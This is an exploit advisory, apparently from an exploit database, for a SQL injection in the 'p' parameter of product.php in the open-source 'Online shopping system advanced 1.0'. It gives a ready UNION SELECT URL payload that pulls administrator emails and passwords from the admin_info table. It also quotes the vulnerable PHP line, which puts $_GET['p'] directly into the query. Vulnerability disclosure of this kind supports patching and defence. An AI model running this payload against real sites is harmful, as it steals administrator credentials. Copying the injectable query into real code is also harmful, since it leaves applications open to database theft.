Online shopping system advanced 1.0 - 'p' SQL Injection

# Exploit Title: Online shopping system advanced 1.0 - 'p' SQL Injection
# Exploit Author : Majid kalantari
# Date: 2020-04-26
# Vendor Homepage : https://github.com/PuneethReddyHC/online-shopping-system-advanced
# Software link: https://github.com/PuneethReddyHC/online-shopping-system-advanced/archive/master.zip
# Version: -
# Tested on: Windows 10
# CVE: N/A
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# vulnerable file: product.php

# vulnerable parameter : p

# payload :
http://127.0.0.1:8081/phps/product.php?p=-10+union+select+1,2,3,concat(admin_email,%27----%27,admin_password),5,6,7,8+from+admin_info%23#
!

#Description: ($product_id input is not safe)

Line 46:
$product_id = $_GET['p'];
$sql = " SELECT * FROM products ";
$sql = " SELECT * FROM products WHERE product_id = $product_id";
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